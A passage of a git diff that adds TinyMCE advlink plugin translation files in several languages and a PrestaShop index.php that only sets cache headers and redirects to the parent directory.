\u062f\u0631 \u0627\u06cc\u0646 \u067e\u0646\u062c\u0631\u0647 / \u0642\u0627\u0628 (Frame)","anchor_names":"\u0644\u0646\u06af\u0631\u0647\u0627 (Anchor)","popup_opts":"\u06af\u0632\u06cc\u0646\u0647 \u0647\u0627","advanced_props":"\u0645\u0634\u062e\u0635\u0627\u062a \u067e\u06cc\u0634\u0631\u0641\u062a\u0647","event_props":"\u0631\u0648\u06cc\u062f\u0627\u062f\u0647\u0627","popup_props":"\u0645\u0634\u062e\u0635\u0627\u062a \u067e\u0646\u062c\u0631\u0647 \u0628\u0627\u0632\u0634\u0648 (Popup)","general_props":"\u0645\u0634\u062e\u0635\u0627\u062a \u0639\u0645\u0648\u0645\u06cc","advanced_tab":"\u067e\u06cc\u0634\u0631\u0641\u062a\u0647","events_tab":"\u0631\u0648\u06cc\u062f\u0627\u062f\u0647\u0627","popup_tab":"\u067e\u0646\u062c\u0631\u0647 \u0628\u0627\u0632\u0634\u0648 (Popup)","general_tab":"\u0639\u0645\u0648\u0645\u06cc",list:"\u0644\u06cc\u0633\u062a \u0644\u06cc\u0646\u06a9","is_external":"URL \u06cc \u06a9\u0647 \u0648\u0627\u0631\u062f \u06a9\u0631\u062f\u0647 \u0627\u06cc\u062f \u0628\u0647 \u0646\u0638\u0631 \u0645\u06cc \u0622\u06cc\u062f \u06a9\u0647 \u06cc\u06a9 \u0644\u06cc\u0646\u06a9 \u062e\u0627\u0631\u062c\u06cc \u0645\u06cc \u0628\u0627\u0634\u062f \u060c \u0622\u06cc\u0627 \u0645\u0627\u06cc\u0644\u06cc\u062f \u062a\u0627 \u067e\u06cc\u0634\u0648\u0646\u062f \u0644\u0627\u0632\u0645\u0647 //:http \u0631\u0627 \u0627\u0636\u0627\u0641\u0647 \u0646\u0645\u0627\u0626\u06cc\u062f\u061f","is_email":"URL \u06cc \u06a9\u0647 \u0648\u0627\u0631\u062f \u06a9\u0631\u062f\u0647 \u0627\u06cc\u062f \u0628\u0647 \u0646\u0638\u0631 \u0645\u06cc \u0622\u06cc\u062f \u06a9\u0647 \u06cc\u06a9 \u0622\u062f\u0631\u0633 \u0627\u06cc\u0645\u06cc\u0644 \u0645\u06cc \u0628\u0627\u0634\u062f \u060c \u0622\u06cc\u0627 \u0645\u0627\u06cc\u0644\u06cc\u062f \u062a\u0627 \u067e\u06cc\u0634\u0648\u0646\u062f \u0644\u0627\u0632\u0645\u0647 :mailto \u0631\u0627 \u0627\u0636\u0627\u0641\u0647 \u0646\u0645\u0627\u0626\u06cc\u062f\u061f",titlefield:"\u0639\u0646\u0648\u0627\u0646",target:"\u0645\u0642\u0635\u062f (Target)",url:"URL \u0644\u06cc\u0646\u06a9",title:"\u062f\u0631\u062c/\u0648\u06cc\u0631\u0627\u06cc\u0634 \u0644\u06cc\u0646\u06a9","link_list":"\u0644\u06cc\u0633\u062a \u0644\u06cc\u0646\u06a9",rtl:"\u0631\u0627\u0633\u062a \u0628\u0647 \u0686\u067e",ltr:"\u0686\u067e \u0628\u0647 \u0631\u0627\u0633\u062a",accesskey:"Accesskey",tabindex:"Tabindex",rev:"\u0631\u0627\u0628\u0637\u0647 \u0645\u0642\u0635\u062f (Target) \u0628\u0627 \u0635\u0641\u062d\u0647",rel:"\u0631\u0627\u0628\u0637\u0647 \u0635\u0641\u062d\u0647 \u0628\u0627 \u0645\u0642\u0635\u062f (Target)",mime:"\u0646\u0648\u0639 MIME \u0645\u0642\u0635\u062f (Target)",encoding:"\u0631\u0645\u0632\u06af\u0630\u0627\u0631\u06cc \u06a9\u0627\u0631\u0627\u06a9\u062a\u0631 \u0645\u0642\u0635\u062f (Target)",langcode:"\u06a9\u062f \u0632\u0628\u0627\u0646","target_langcode":"\u0632\u0628\u0627\u0646 \u0645\u0642\u0635\u062f (Target)",width:"Width",height:"Height"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advlink/langs/fi_dlg.js b/js/tiny_mce/plugins/advlink/langs/fi_dlg.js new file mode 100755 index 0000000..e49488e --- /dev/null +++ b/js/tiny_mce/plugins/advlink/langs/fi_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fi.advlink_dlg',{"target_name":"Kohteen nimi",classes:"Luokat",style:"Tyyli",id:"Id","popup_position":"Sijainti (X/Y)",langdir:"Kielen suunta","popup_size":"Koko","popup_dependent":"Riippuvainen (vain Mozilla/Firefox)","popup_resizable":"Tee ikkunan koko muokattavaksi","popup_location":"N\u00e4yt\u00e4 sijaintipalkki","popup_menubar":"N\u00e4yt\u00e4 valikkopalkki","popup_toolbar":"N\u00e4yt\u00e4 ty\u00f6kalut","popup_statusbar":"N\u00e4yt\u00e4 tilapalkki","popup_scrollbars":"N\u00e4yt\u00e4 vierityspalkit","popup_return":"Lis\u00e4\u00e4 \'return false\'","popup_name":"Ikkunan nimi","popup_url":"Ponnahdusikkunan URL",popup:"JavaScript-ponnahdusikkuna","target_blank":"Avaa uudessa ikkunassa","target_top":"Avaa ylimm\u00e4ss\u00e4 ruudussa (korvaa kaikki ruudut)","target_parent":"Avaa ylemm\u00e4ss\u00e4 ikkunassa","target_same":"Avaa t\u00e4ss\u00e4 ikkunassa","anchor_names":"Ankkurit","popup_opts":"Valinta","advanced_props":"Edistyneet asetukset","event_props":"Tapahtumat (events)","popup_props":"Ponnahdusikkunan asetukset","general_props":"Yleiset asetukset","advanced_tab":"Edistynyt","events_tab":"Tapahtumat","popup_tab":"Ponnahdusikkuna","general_tab":"Yleiset",list:"Linkkilista","is_external":"Sy\u00f6tt\u00e4m\u00e4si URL n\u00e4ytt\u00e4\u00e4 olevan sivuston ulkoinen osoite, haluatko lis\u00e4t\u00e4 http://-etuliitteen?","is_email":"Sy\u00f6tt\u00e4m\u00e4si URL n\u00e4ytt\u00e4\u00e4 olevan s\u00e4hk\u00f6postiosoite, haluatko lis\u00e4t\u00e4 mailto:-etuliitteen?",titlefield:"Otsikko",target:"Kohde (target)",url:"Linkin URL",title:"Lis\u00e4\u00e4/muokkaa linkki\u00e4","link_list":"Linkkilista",rtl:"Oikealta vasemmalle",ltr:"Vasemmalta oikealle",accesskey:"Pikan\u00e4pp\u00e4in",tabindex:"Tabulaattori-indeksi",rev:"Kohteen suhde sivuun",rel:"Sivun suhde kohteeseen",mime:"Kohteen MIME-tyyppi",encoding:"Kohteen merkist\u00f6koodaus",langcode:"Kielen koodi","target_langcode":"Kohteen kieli",width:"Leveys",height:"Korkeus"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advlink/langs/fr_dlg.js b/js/tiny_mce/plugins/advlink/langs/fr_dlg.js new file mode 100755 index 0000000..38e5a78 --- /dev/null +++ b/js/tiny_mce/plugins/advlink/langs/fr_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fr.advlink_dlg',{"target_name":"Nom de la cible",classes:"Classes",style:"Style",id:"Id","popup_position":"Position (X/Y)",langdir:"Sens de lecture","popup_size":"Taille","popup_dependent":"D\u00e9pendante (seulement sous Mozilla/Firefox)","popup_resizable":"Autoriser le redimensionnement de la fen\u00eatre","popup_location":"Afficher la barre d\'adresse","popup_menubar":"Afficher la barre de menu","popup_toolbar":"Afficher la barre d\'outils","popup_statusbar":"Afficher la barre d\'\u00e9tat","popup_scrollbars":"Afficher les ascenseurs","popup_return":"Ins\u00e9rer \'return false\'","popup_name":"Nom de la fen\u00eatre","popup_url":"URL de la popup",popup:"Popup Javascript","target_blank":"Ouvrir dans une nouvelle fen\u00eatre","target_top":"Ouvrir dans le cadre principal (remplace tous les cadres)","target_parent":"Ouvrir dans la fen\u00eatre / le cadre parent","target_same":"Ouvrir dans cette fen\u00eatre / dans ce cadre","anchor_names":"Ancres","popup_opts":"Options","advanced_props":"Propri\u00e9t\u00e9s avanc\u00e9es","event_props":"\u00c9v\u00e8nements","popup_props":"Propri\u00e9t\u00e9s de la popup","general_props":"Propri\u00e9t\u00e9s g\u00e9n\u00e9rales","advanced_tab":"Avanc\u00e9","events_tab":"\u00c9v\u00e8nements","popup_tab":"Popup","general_tab":"G\u00e9n\u00e9ral",list:"Liste de liens","is_external":"L\'URL que vous avez saisie semble \u00eatre une adresse web externe. Souhaitez-vous ajouter le pr\u00e9fixe \u00ab http:// \u00bb ?","is_email":"L\'URL que vous avez saisie semble \u00eatre une adresse e-mail, souhaitez-vous ajouter le pr\u00e9fixe \u00ab mailto: \u00bb ?",titlefield:"Titre",target:"Cible",url:"URL du lien",title:"Ins\u00e9rer / \u00e9diter un lien","link_list":"Liste des liens",rtl:"Droite \u00e0 gauche",ltr:"Gauche \u00e0 droite",accesskey:"Touche d\'acc\u00e8s rapide",tabindex:"Tabindex",rev:"Relation de la cible \u00e0 la page",rel:"Relation de la page \u00e0 la cible",mime:"Type MIME de la cible",encoding:"Encodage de la cible",langcode:"Code de la langue","target_langcode":"Langue de la cible",width:"Largeur",height:"Hauteur"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advlink/langs/gl_dlg.js b/js/tiny_mce/plugins/advlink/langs/gl_dlg.js new file mode 100755 index 0000000..8b38a8e --- /dev/null +++ b/js/tiny_mce/plugins/advlink/langs/gl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('gl.advlink_dlg',{"target_name":"Nome do obxetivo",classes:"Clases",style:"Estilo",id:"Id","popup_position":"Posici\u00f3n (X/Y)",langdir:"Direcci\u00f3n da lenguaxe","popup_size":"Tama\u00f1o","popup_dependent":"Dependentes (s\u00f3lo Mozilla/Firefox)","popup_resizable":"Permitir cambia-lo tama\u00f1o da vent\u00e1","popup_location":"Barra de localizaci\u00f3n","popup_menubar":"Barra de men\u00fa","popup_toolbar":"Barra de ferramentas","popup_statusbar":"Barra de estado","popup_scrollbars":"Barras de desprazamento","popup_return":"Insertar \'return false\'","popup_name":"Nome da vent\u00e1","popup_url":"URL da vent\u00e1 emerxente",popup:"Javascript popup","target_blank":"Abrir en vent\u00e1 nova","target_top":"Abrir no marco superior (reemplaza todo-los marcos)","target_parent":"Abrir na vent\u00e1 / marco padre","target_same":"Abrir nesta vent\u00e1 / marco","anchor_names":"\u00c1ncoras","popup_opts":"Opci\u00f3ns","advanced_props":"Propiedades avanzadas","event_props":"Eventos","popup_props":"Propiedades de vent\u00e1s emerxentes","general_props":"Propiedades xerales","advanced_tab":"Avanzado","events_tab":"Eventos","popup_tab":"Ventana emerxente","general_tab":"Xeral",list:"Lista de v\u00ednculos","is_external":"A URL introducida semella ser un v\u00ednculo externo, \u00bfDesexa engadi-lo prefixo necesario http://?","is_email":"A URL introducida semella ser un enderezo de e-mail, \u00bfDesexa engadi-lo prefixo necesario mailto:?",titlefield:"T\u00edtulo",target:"Destino",url:"URL do hiperv\u00ednculo",title:"Insertar/editar hiperv\u00ednculo","link_list":"Lista de v\u00ednculo",rtl:"Dereita a esquerda",ltr:"Esquerda a dereita",accesskey:"Tecla de acceso",tabindex:"\u00cdndice de tabulaci\u00f3n",rev:"Relaci\u00f3n obxetivo a p\u00e1xina",rel:"Relaci\u00f3n p\u00e1xina a obxetivo",mime:"Tipo MIME do obxetivo",encoding:"Codificaci\u00f3n de caracteres do obxetivo",langcode:"C\u00f3digo da lenguaxe","target_langcode":"Lenguaxe do obxetivo",width:"Width",height:"Height"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advlink/langs/he_dlg.js b/js/tiny_mce/plugins/advlink/langs/he_dlg.js new file mode 100755 index 0000000..7ea21bd --- /dev/null +++ b/js/tiny_mce/plugins/advlink/langs/he_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('he.advlink_dlg',{"target_name":"Target name",classes:"Classes",style:"\u05e1\u05d2\u05e0\u05d5\u05df",id:"\u05de\u05e1\u05e4\u05e8 \u05e1\u05d9\u05d3\u05d5\u05e8\u05d9","popup_position":"\u05de\u05d9\u05e7\u05d5\u05dd (X/Y)",langdir:"\u05db\u05d9\u05d5\u05d5\u05df \u05d4\u05e9\u05e4\u05d4","popup_size":"\u05d2\u05d5\u05d3\u05dc","popup_dependent":"Dependent (Mozilla/Firefox only)","popup_resizable":"\u05d7\u05dc\u05d5\u05df \u05d3\u05d9\u05e0\u05d0\u05de\u05d9(resizable)","popup_location":"\u05d4\u05e6\u05d2\u05ea location bar ","popup_menubar":"\u05d4\u05e6\u05d2\u05ea \u05ea\u05e4\u05e8\u05d9\u05d8","popup_toolbar":"\u05d4\u05e6\u05d2\u05ea \u05e1\u05e8\u05d2\u05dc\u05d9 \u05db\u05dc\u05d9\u05dd","popup_statusbar":"\u05d4\u05e6\u05d2\u05ea \u05e9\u05d5\u05e8\u05ea \u05e1\u05d8\u05d0\u05d8\u05d5\u05e1","popup_scrollbars":"\u05d4\u05e6\u05d2\u05ea \u05e4\u05e1 \u05d2\u05dc\u05d9\u05dc\u05d4","popup_return":"\u05d9\u05e9 \u05dc\u05d4\u05db\u05e0\u05d9\u05e1 \'return false\'","popup_name":"\u05e9\u05dd \u05d4\u05d7\u05dc\u05d5\u05df","popup_url":"\u05d7\u05dc\u05d5\u05df \u05de\u05d5\u05e7\u05e4\u05e5 URL",popup:"\u05d7\u05dc\u05d5\u05df \u05de\u05d5\u05e7\u05e4\u05e5 javascript","target_blank":"\u05e4\u05ea\u05d9\u05d7\u05d4 \u05d1\u05d7\u05dc\u05d5\u05df \u05d7\u05d3\u05e9","target_top":"\u05e4\u05ea\u05d9\u05d7\u05d4 \u05d1\u05d7\u05dc\u05d5\u05df \u05d4\u05d1\u05df \u05d4\u05e8\u05d0\u05e9\u05d9(\u05de\u05d7\u05dc\u05d9\u05e3 \u05d0\u05ea \u05db\u05dc \u05d7\u05dc\u05d5\u05e0\u05d5\u05ea \u05d4\u05d1\u05e0\u05d9\u05dd)","target_parent":"\u05e4\u05ea\u05d9\u05d7\u05d4 \u05d1\u05dc\u05d5\u05df \u05d4\u05d0\u05d1\u05d0/\u05d7\u05dc\u05d5\u05df \u05d1\u05df","target_same":"\u05e4\u05ea\u05d9\u05d7\u05d4 \u05d1\u05d7\u05dc\u05d5\u05df \u05d7\u05d3\u05e9/\u05d7\u05dc\u05d5\u05df \u05d1\u05df","anchor_names":"\u05e7\u05d9\u05e9\u05d5\u05e8 \u05dc\u05e1\u05d9\u05de\u05e0\u05d9\u05d4","popup_opts":"\u05d0\u05e4\u05e9\u05e8\u05d5\u05d9\u05d5\u05ea","advanced_props":"\u05ea\u05db\u05d5\u05e0\u05d5\u05ea \u05de\u05ea\u05e7\u05d3\u05de\u05d5\u05ea","event_props":"\u05de\u05d0\u05d5\u05e8\u05e2\u05d5\u05ea","popup_props":"\u05ea\u05db\u05d5\u05e0\u05d5\u05ea \u05d7\u05dc\u05d5\u05df \u05de\u05d5\u05e7\u05e4\u05e5","general_props":"\u05ea\u05db\u05d5\u05e0\u05d5\u05ea \u05db\u05dc\u05dc\u05d9\u05d5\u05ea","advanced_tab":"\u05de\u05ea\u05e7\u05d3\u05dd","events_tab":"\u05d0\u05e8\u05d5\u05e2\u05d9\u05dd","popup_tab":"\u05d7\u05dc\u05d5\u05df \u05de\u05d5\u05e7\u05e4\u05e5","general_tab":"\u05db\u05dc\u05dc\u05d9",list:"\u05e8\u05e9\u05d9\u05de\u05ea \u05e7\u05d9\u05e9\u05d5\u05e8\u05d9\u05dd","is_external":"\u05db\u05ea\u05d5\u05d1\u05ea \u05d4-URL \u05e9\u05d4\u05d5\u05db\u05e0\u05e1\u05d4 \u05d4\u05d9\u05d0 \u05db\u05db\u05dc \u05d4\u05e0\u05e8\u05d0\u05d4 \u05e7\u05d9\u05e9\u05d5\u05e8 \u05d7\u05d9\u05e6\u05d5\u05e0\u05d9 \u05d4\u05d0\u05dd \u05d1\u05e8\u05e6\u05d5\u05e0\u05da \u05dc\u05d4\u05d5\u05e1\u05d9\u05e3 \u05d0\u05ea \u05d4\u05e7\u05d9\u05d3\u05d5\u05de\u05ea http:// \u05d4\u05e0\u05d3\u05e8\u05e9\u05ea?","is_email":"\u05db\u05ea\u05d5\u05d1\u05ea \u05d4-URL \u05e9\u05d4\u05d5\u05db\u05e0\u05e1\u05d4 \u05d4\u05d9\u05d0 \u05db\u05db\u05dc \u05d4\u05e0\u05e8\u05d0\u05d4 \u05db\u05ea\u05d5\u05d1\u05ea \u05de\u05d9\u05d9\u05dc \u05d4\u05d0\u05dd \u05d1\u05e8\u05e6\u05d5\u05e0\u05da \u05dc\u05d4\u05d5\u05e1\u05d9\u05e3 \u05d0\u05ea \u05d4\u05e7\u05d9\u05d3\u05d5\u05de\u05ea MAILTO \u05d4\u05e0\u05d3\u05e8\u05e9\u05ea?",titlefield:"\u05db\u05d5\u05ea\u05e8\u05ea \u05d4\u05e7\u05d9\u05e9\u05d5\u05e8",target:"\u05d9\u05e2\u05d3",url:"\u05db\u05ea\u05d5\u05d1\u05ea \u05d4\u05e7\u05d9\u05e9\u05d5\u05e8",title:"\u05d4\u05d5\u05e1\u05e4\u05d4/\u05e2\u05e8\u05d9\u05db\u05ea \u05e7\u05d9\u05e9\u05d5\u05e8","link_list":"\u05e8\u05e9\u05d9\u05de\u05ea \u05e7\u05d9\u05e9\u05d5\u05e8\u05d9\u05dd",rtl:"\u05de\u05d9\u05de\u05d9\u05df \u05dc\u05e9\u05de\u05d0\u05dc",ltr:"\u05de\u05e9\u05de\u05d0\u05dc \u05dc\u05d9\u05de\u05d9\u05df",accesskey:"Accesskey",tabindex:"Tabindex",rev:"Relationship target to page",rel:"Relationship page to target",mime:"Target MIME type",encoding:"Target character encoding",langcode:"\u05e7\u05d5\u05d3 \u05d4\u05e9\u05e4\u05d4","target_langcode":"Target language",width:"\u05e8\u05d5\u05d7\u05d1",height:"\u05d2\u05d5\u05d1\u05d4"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advlink/langs/hu_dlg.js b/js/tiny_mce/plugins/advlink/langs/hu_dlg.js new file mode 100755 index 0000000..9cf1c8f --- /dev/null +++ b/js/tiny_mce/plugins/advlink/langs/hu_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('hu.advlink_dlg',{"target_name":"C\u00e9l neve",classes:"Class-ok",style:"Style",id:"Id","popup_position":"Poz\u00edci\u00f3 (X/Y)",langdir:"Nyelv \u00edr\u00e1s ir\u00e1ny","popup_size":"M\u00e9ret","popup_dependent":"F\u00fcgg\u0151 (csak Mozilla/Firefox)","popup_resizable":"\u00c1tm\u00e9retezhet\u0151 ablak","popup_location":"C\u00edm mez\u0151 mutat\u00e1sa","popup_menubar":"Men\u00fcsor mutat\u00e1sa","popup_toolbar":"Eszk\u00f6zsor mutat\u00e1sa","popup_statusbar":"St\u00e1tuszsor mutat\u00e1sa","popup_scrollbars":"G\u00f6rget\u0151s\u00e1vok mutat\u00e1sa","popup_return":"\'return false\' besz\u00far\u00e1sa","popup_name":"Ablakn\u00e9v","popup_url":"Felugr\u00f3 ablak URL",popup:"JavaScript felugr\u00f3 ablak","target_blank":"\u00daj ablakban megnyit\u00e1s","target_top":"Azonos ablakban/keretben megnyit\u00e1s legfel\u00fcl","target_parent":"Sz\u00fcl\u0151 ablakban/keretben megnyit\u00e1s","target_same":"Azonos ablakban/keretben megnyit\u00e1s","anchor_names":"Horgonyok","popup_opts":"Be\u00e1ll\u00edt\u00e1sok","advanced_props":"Halad\u00f3 tulajdons\u00e1gok","event_props":"Esem\u00e9nyek","popup_props":"Felugr\u00f3 ablak tulajdons\u00e1gai","general_props":"\u00c1ltal\u00e1nos tulajdons\u00e1gok","advanced_tab":"Halad\u00f3","events_tab":"Esem\u00e9nyek","popup_tab":"Felugr\u00f3 ablak","general_tab":"\u00c1ltal\u00e1nos",list:"Link lista","is_external":"A be\u00edrt URL k\u00fcls\u0151 hivatkoz\u00e1snak t\u0171nik, k\u00edv\u00e1nja a sz\u00fcks\u00e9ges http://-t el\u00e9 tenni?","is_email":"A be\u00edrt URL e-mail c\u00edmnek t\u0171nik, k\u00edv\u00e1nja a sz\u00fcks\u00e9ges mailto:-t el\u00e9 tenni?",titlefield:"C\u00edm",target:"Target",url:"Link URL",title:"Link besz\u00far\u00e1s/szerkeszt\u00e9s","link_list":"Link lista",rtl:"Jobbr\u00f3l balra",ltr:"Balr\u00f3l jobbra",accesskey:"Gyorsgomb",tabindex:"Tabindex",rev:"C\u00e9l kapcsolata az oldallal",rel:"Oldal kapcsolata a c\u00e9llal",mime:"C\u00e9l MIME t\u00edpus",encoding:"C\u00e9l karakterk\u00f3dol\u00e1s",langcode:"Nyelv k\u00f3d","target_langcode":"C\u00e9l nyelv",width:"Sz\u00e9less\u00e9g",height:"Magass\u00e1g"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advlink/langs/id_dlg.js b/js/tiny_mce/plugins/advlink/langs/id_dlg.js new file mode 100755 index 0000000..deff7d7 --- /dev/null +++ b/js/tiny_mce/plugins/advlink/langs/id_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('id.advlink_dlg',{"target_name":"Nama Target",classes:"Classes",style:"Style",id:"Id","popup_position":"Posisi (X/Y)",langdir:"Bahasa","popup_size":"Ukuran","popup_dependent":"Tergantung (khusus Mozilla/Firefox)","popup_resizable":"Jadikan window resizable","popup_location":"Tampilkan location bar","popup_menubar":"Tampilkan menu bar","popup_toolbar":"Tampilkan toolbars","popup_statusbar":"Tampilkan status bar","popup_scrollbars":"Tampilkan scrollbars","popup_return":"sisipkan \'return false\'","popup_name":"Nama Window","popup_url":"Popup URL",popup:"Javascript popup","target_blank":"Buka pada Window baru","target_top":"Buka pada frame atas (Gantikan semua frame)","target_parent":"Buka pada parent window/frame","target_same":"Buka pada window/frame ini","anchor_names":"Anchors","popup_opts":"Options","advanced_props":"Advanced properties","event_props":"Events","popup_props":"Properti Pop-Up","general_props":"Properti Umum","advanced_tab":"Advanced","events_tab":"Events","popup_tab":"Popup","general_tab":"Umum",list:"Daftar Link","is_external":"URL yang Anda sisipkan tampaknya link eksternal, Anda ingin menambahkan awalan \'http://\'?","is_email":"URL yang Anda sisipkan tampaknya e-mail, Anda ingin menambahkan awalan \'mailto:\'?",titlefield:"Judul",target:"Target",url:"Link URL",title:"Sisipkan/Ubah link","link_list":"Daftar Link",rtl:"Kanan ke kiri",ltr:"Kiri ke kanan",accesskey:"Accesskey",tabindex:"Tabindex",rev:"Hubungan target dengan page",rel:"Hubungan page dengan target",mime:"Target MIME type",encoding:"Target character encoding",langcode:"Kode Bahasa","target_langcode":"Bahasa Target",width:"Width",height:"Height"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advlink/langs/index.php b/js/tiny_mce/plugins/advlink/langs/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce/plugins/advlink/langs/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce/plugins/advlink/langs/it_dlg.js b/js/tiny_mce/plugins/advlink/langs/it_dlg.js new file mode 100755 index 0000000..bf19659 --- /dev/null +++ b/js/tiny_mce/plugins/advlink/langs/it_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('it.advlink_dlg',{"target_name":"Nome target",classes:"Classe",style:"Stile",id:"Id","popup_position":"Posizione (X/Y)",langdir:"Direzione del testo","popup_size":"Dimensioni","popup_dependent":"Dipendente (Solo in Mozilla/Firefox)","popup_resizable":"Rendi la finestra ridimensionabile","popup_location":"Mostra barra navigazione","popup_menubar":"Mostra barra menu","popup_toolbar":"Mostra barre strumenti","popup_statusbar":"Mostra barra di stato","popup_scrollbars":"Mostra barre di scorrimento","popup_return":"Inserisci \'return false\'","popup_name":"Nome finestra","popup_url":"URL Popup",popup:"Popup Javascript","target_blank":"Apri in una nuova finestra","target_top":"Apri nella cornice superiore (sostituisce tutte le cornici)","target_parent":"Apri nella finestra / cornice genitore","target_same":"Apri in questa finestra / cornice","anchor_names":"Ancore","popup_opts":"Opzioni","advanced_props":"Propriet\u00e0 avanzate","event_props":"Eventi","popup_props":"Propriet\u00e0 popup","general_props":"Propriet\u00e0 generali","advanced_tab":"Avanzate","events_tab":"Eventi","popup_tab":"Popup","general_tab":"Generale",list:"Lista collegamenti","is_external":"L\'URL inserito sembra essere un link esterno. Aggiungere il necessario prefisso http:// ?","is_email":"L\'URL inserito sembra essere un indirizzo email. Aggiungere il necessario prefisso mailto: ?",titlefield:"Titolo",target:"Target",url:"URL collegamento",title:"Inserisci/modifica link","link_list":"Lista collegamenti",rtl:"Destra verso sinistra",ltr:"Sinistra verso destra",accesskey:"Carattere di accesso",tabindex:"Indice tabulazione",rev:"Relazione da target a pagina",rel:"Relazione da pagina a target",mime:"Tipo MIME del target",encoding:"Codifica carattere del target",langcode:"Lingua","target_langcode":"Lingua del target",width:"Larghezza",height:"Altezza"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advlink/langs/ja_dlg.js b/js/tiny_mce/plugins/advlink/langs/ja_dlg.js new file mode 100755 index 0000000..68ebcd2 --- /dev/null +++ b/js/tiny_mce/plugins/advlink/langs/ja_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ja.advlink_dlg',{"target_name":"\u30bf\u30fc\u30b2\u30c3\u30c8\u306e\u540d\u524d",classes:"\u30af\u30e9\u30b9",style:"\u30b9\u30bf\u30a4\u30eb",id:"ID","popup_position":"\u4f4d\u7f6e (X/Y)",langdir:"\u6587\u7ae0\u306e\u65b9\u5411","popup_size":"\u5927\u304d\u3055","popup_dependent":"\u4f9d\u5b58(Mozilla\u3068Firefox\u3060\u3051)","popup_resizable":"\u30a6\u30a4\u30f3\u30c9\u30a6\u306e\u30b5\u30a4\u30ba\u5909\u66f4\u3092\u8a31\u53ef","popup_location":"\u30a2\u30c9\u30ec\u30b9\u30d0\u30fc\u3092\u8868\u793a","popup_menubar":"\u30e1\u30cb\u30e5\u30fc\u30d0\u30fc\u3092\u8868\u793a","popup_toolbar":"\u30c4\u30fc\u30eb\u30d0\u30fc\u3092\u8868\u793a","popup_statusbar":"\u30b9\u30c6\u30fc\u30bf\u30b9\u30d0\u30fc\u3092\u8868\u793a","popup_scrollbars":"\u30b9\u30af\u30ed\u30fc\u30eb\u30d0\u30fc\u3092\u8868\u793a","popup_return":"\'return false\'\u3092\u633f\u5165","popup_name":"\u30a6\u30a4\u30f3\u30c9\u30a6\u306e\u540d\u524d","popup_url":"\u30dd\u30c3\u30d7\u30a2\u30c3\u30d7\u306eURL",popup:"Javascript\u30dd\u30c3\u30d7\u30a2\u30c3\u30d7","target_blank":"\u65b0\u3057\u3044\u30a6\u30a4\u30f3\u30c9\u30a6\u3067\u958b\u304f","target_top":"\u30c8\u30c3\u30d7\u306e\u30d5\u30ec\u30fc\u30e0\u3067\u958b\u304f(\u3059\u3079\u3066\u306e\u30d5\u30ec\u30fc\u30e0\u3092\u7f6e\u304d\u63db\u3048)","target_parent":"\u89aa\u30a6\u30a4\u30f3\u30c9\u30a6/\u89aa\u30d5\u30ec\u30fc\u30e0\u3067\u958b\u304f","target_same":"\u3053\u306e\u30a6\u30a4\u30f3\u30c9\u30a6/\u30d5\u30ec\u30fc\u30e0\u3067\u958b\u304f","anchor_names":"\u30a2\u30f3\u30ab\u30fc","popup_opts":"\u30aa\u30d7\u30b7\u30e7\u30f3","advanced_props":"\u9ad8\u5ea6\u306a\u5c5e\u6027","event_props":"\u30a4\u30d9\u30f3\u30c8","popup_props":"\u30dd\u30c3\u30d7\u30a2\u30c3\u30d7","general_props":"\u4e00\u822c","advanced_tab":"\u5c02\u9580\u7684","events_tab":"\u30a4\u30d9\u30f3\u30c8","popup_tab":"\u30dd\u30c3\u30d7\u30a2\u30c3\u30d7","general_tab":"\u4e00\u822c",list:"\u30ea\u30f3\u30af\u306e\u4e00\u89a7","is_external":"\u5165\u529b\u3057\u305fURL\u306f\u5916\u90e8\u306e\u30ea\u30f3\u30af\u306e\u3088\u3046\u3067\u3059\u3002\u30ea\u30f3\u30af\u306b http:// \u3092\u8ffd\u52a0\u3057\u307e\u3059\u304b?","is_email":"\u5165\u529b\u3057\u305fURL\u306f\u96fb\u5b50\u30e1\u30fc\u30eb\u30a2\u30c9\u30ec\u30b9\u306e\u3088\u3046\u3067\u3059\u3002\u30ea\u30f3\u30af\u306b mailto: 